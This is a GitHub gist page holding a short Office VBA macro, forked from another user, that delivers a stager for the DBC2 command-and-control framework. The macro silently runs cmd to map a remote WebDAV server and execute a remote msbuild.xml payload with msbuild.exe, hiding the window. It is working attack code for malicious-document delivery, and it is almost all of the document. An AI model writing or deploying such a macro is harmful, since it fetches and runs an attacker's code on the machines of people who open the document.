Skip to content

Instantly share code, notes, and snippets.

@ahhh
Forked from Arno0x/macro_webdav_delivery.vba
Created December 26, 2017 17:17
Show Gist options
  • Save ahhh/f4b49f016bf24d7e93b89691bbe34e90 to your computer and use it in GitHub Desktop.
Save ahhh/f4b49f016bf24d7e93b89691bbe34e90 to your computer and use it in GitHub Desktop.
Office macro using WedDav mapping to deliver payload
'
' Example of DBC2 msbuild.xml stager delivery through a webdav maping
' The stager file (msbuild.xml) can be generated from the DBC2 controller
'
' NOTE:
' msbuild.exe is supposed to accept a path straight from a webdav server (ex: msbuild.exe \\webdav_server\msbuild.xml)
' but it fails miserably for me, so I have to have to first map the drive...
Sub Go()
Dim cmd As String, srv As String
Dim result As Integer
srv = "webdav_server_name_or_ip"
'----------------------------------------------------------
' Map WebDav drive as a local drive
cmd = "cmd /c ""pushd \\" & srv & "\ & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml & popd"""
result = Shell(cmd, vbHide)
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment